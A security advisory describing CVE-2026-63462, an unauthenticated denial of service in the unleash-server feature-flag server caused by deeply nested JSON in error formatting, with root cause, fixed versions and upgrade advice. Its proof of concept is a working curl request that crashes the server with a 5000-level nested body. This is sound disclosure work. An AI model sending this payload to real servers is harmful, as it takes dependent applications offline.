high · 7.5CVE-2026-63462Aug 21, 2026

CVE-2026-63462: unleash-server Unauthenticated DoS via Recursive JSON Serialization

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A single unauthenticated HTTP request containing deeply-nested JSON can crash the entire Unleash feature-flag server permanently, taking all dependent applications offline.

Packageunleash-server
Ecosystemnpm
Affected< 7.5.2
Fixed in7.5.2
CVE-2026-63462: unleash-server Unauthenticated DoS via Recursive JSON Serialization

The problem

Any OpenAPI-validated endpoint on Unleash, including the anonymous routes POST /edge/validate and POST /edge/issue-token, is reachable without credentials.

When the request body fails schema validation, the error formatter calls JSON.stringify(propertyValue) with no depth guard, where propertyValue is the raw value read from the attacker-controlled body. A body nested ~5000 levels deep causes JSON.stringify to recurse past the V8 call-stack limit and throw RangeError: Maximum call stack size exceeded.

That synchronous throw escapes the Express error-handling middleware with no try/catch. Because the process registers only process.on('unhandledRejection') and no uncaughtException handler, Node terminates immediately with exit(1). One 10 KB request kills the server, and replaying it prevents recovery.

Proof of concept

A working proof-of-concept for CVE-2026-63462 in unleash-server, with the exact payload below.

bash
# Step 1: confirm the server is healthy
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4242/health
# 200

# Step 2: send a single anonymous request, body nested 5000 levels deep (~10 KB)
curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST http://localhost:4242/edge/validate \
  -H 'Content-Type: application/json' \
  --data-binary "$(python3 -c 'd=5000; print("{\"tokens\":[" + "["*d + "]"*d + "]}")' )"
# 000  (connection dropped; Node exited with RangeError)

# Step 3: confirm the server is gone
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4242/health
# 000

The root cause is in src/lib/error/bad-data-error.ts at line 75: const youSent = JSON.stringify(propertyValue), where propertyValue is fetched via lodash.get directly from the attacker-supplied request body with no sanitization. JSON.stringify recurses once per nesting level, so depth ~4000-5000 blows the V8 stack and throws a synchronous RangeError.

The throw propagates up through fromOpenApiValidationErrors (line 158), through the Express openAPIValidationMiddleware in controller.ts:68, which calls it at line 70 with no surrounding try/catch. The controller's own try/catch at line 103 only wraps the route handler, not the error formatter, so the exception is uncaught.

The same unguarded pattern exists at fromJoiError (line 175) and in handleErrors in src/lib/routes/util.ts:42. The fix (commits b0e4da6, d45f99d, d862562) wraps the JSON.stringify calls in try/catch blocks and truncates or replaces the value on error, preventing the recursive blow-up.

CWE-674 (Uncontrolled Recursion) applies exactly.

The fix

Upgrade unleash-server to **7.5.2** (or **7.6.5** / **8.0.4** for later release lines). The patches wrap every JSON.stringify(propertyValue) call in the error formatters with a try/catch and a depth-limited fallback, so malformed deep bodies produce a safe truncated error message instead of a fatal stack overflow.

No configuration change or WAF rule reliably mitigates the unpatched versions because the crashing payload (~10 KB) sits far under the default 100 KB body-size limit.

Reported by Jan Kahmen (turingpoint).

References: [1][2][3][4][5][6]

Related research